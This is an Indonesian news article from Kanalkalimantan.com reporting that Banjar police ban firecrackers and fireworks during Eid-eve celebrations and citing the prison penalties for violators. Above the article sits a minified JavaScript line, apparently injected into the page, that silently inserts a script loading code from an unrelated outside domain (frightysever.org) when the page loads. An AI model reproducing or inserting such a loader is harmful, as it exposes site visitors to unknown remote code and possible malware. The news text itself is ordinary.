(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Perayaan malam takbiran di Kabupaten Banjar dipastikan tanpa pesta kembang api dan petasan.
Masyarakat dilarang melakukan arak-arakan sambil bermain petasan dan kembang api saat malam Lebaran.
Kapolres Banjar AKBP M Ifan Hariyat Taufik menegaskan bahwa Polres Banjar tidak akan mentolerir perang petasan atau mercon dan meriam di sejumlah desa dan kecamatan, terutama Martapura.
“Kita mengimbau kepada masyarakat agar tidak memainkan petasan, mercon dan meriam yang dapat menimbulkan ledakan hal ini dilakukan sesuai dengan Undang-Undang,” ucap Kapolres Banjar.
Petasan dan jenis kembang api lainnya ini pihaknya memasukkan ke dalam kategori suatu senjata api, munisi atau sesuatu bahan peledak.
Baca juga: Cuti Lebaran RSD Idaman Banjarbaru Tetap Buka Layanan Emergency 24 Jam
Meskipun seru dan meriah, pihaknya menegaskan jika petasan, mercon atau bahkan meriam mempunyai dampak buruk.
Selain menimbang aspek gangguan kamtibmas dari dampak yang di timbulkan, petasan atau kembang api bukan merupakan tradisi masyarakat Banjar.
“Mengingat barang itu berbahaya bagi diri sendiri mau orang lain yang dapat menyebabkan ledakan, kebakaran atau korban jiwa, sehingga yang menggunakannya akan mendapat ganjaran hukuman,” jelasnya.
Langkah menindak tegas, sambung Ifan merupakan jalan terbaik. Masyarakat yang didapati enggan menaati aturan maka akan dikenai sanksi seperti yang termaktub dalam Undang-Undang Darurat Nomor 12 Tahun 1951 serta Pasal 187 KUHP.
“Kita tentu akan kenai saksi seperti Pasal 1 ayat (1) UU Darurat No.12 Tahun 1951 yakni hukuman mati atau hukuman penjara seumur hidup atau hukuman penjara sementara setinggi-tingginya 20 tahun,” sebutnya.
Kemudian Pasal 187 KUHP mensanksi siapa yang dengan sengaja menimbulkan kebakaran, ledakan atau banjir akan diancam pidana penjara paling lama 12 tahun jika menimbulkan bahaya umum bagi orang.
Kemudian pidana penjara paling lama 15 tahun jika menimbulkan bahaya bagi nyawa orang lain, serta pidana penjara seumur hidup atau paling lama 20 tahun jika menimbulkan bahaya bagi nyawa orang lain dan mengakibatkan orang mati.
Baca juga: Armada Mudik Gratis Pemprov Kalsel Diberangkatkan, Angkut 600 Pemudik
Ifan menambahkan, sebagai salah satu perayaan penting bagi umat Islam, euforia Hari Raya Idulfitri yang biasanya dimulai sejak sehari sebelum lebaran hendaknya diisi dengan kegiatan positif.
Pihaknya pun gencar melakukan langkah langkah pencegahan dan edukasi kepada masyarakat tentang larangan dan bahaya bermain petasan mau pun kembang api.
Sementara terhadap pemasok petasan dan kembang api yang tidak sesuai peraturan akan dilakukan tindakan tegas sebagai cara memutus mata rantai. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM, BANJARBARU - Forum Ambin Demokrasi turut menyikapi jalannya proses demokrasi dalam Pemilihan Wali Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kota Banjarbaru mulai masuk masa tenang jelang Pemilihan Kepala Daerah (Pilkada) Serentak… Read More
Coblos Paslon yang Dibatalkan Suara Dianggap Tidak Sah Read More
KANALKALIMANTAN.COM, BANJARBARU - Penjabat Sementara (Pjs) Wali Kota Banjarbaru Dra Hj Nurliani MAP telah bertugas… Read More
KANALKALIMANTAN.COM, AMUNTAI - Menjelang hari pemilihan dan memasuki masa tenang Pemilihan Kepala Daerah (Pilkada) 2024,… Read More
KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) mulai mendistribusikan logistik… Read More
This website uses cookies.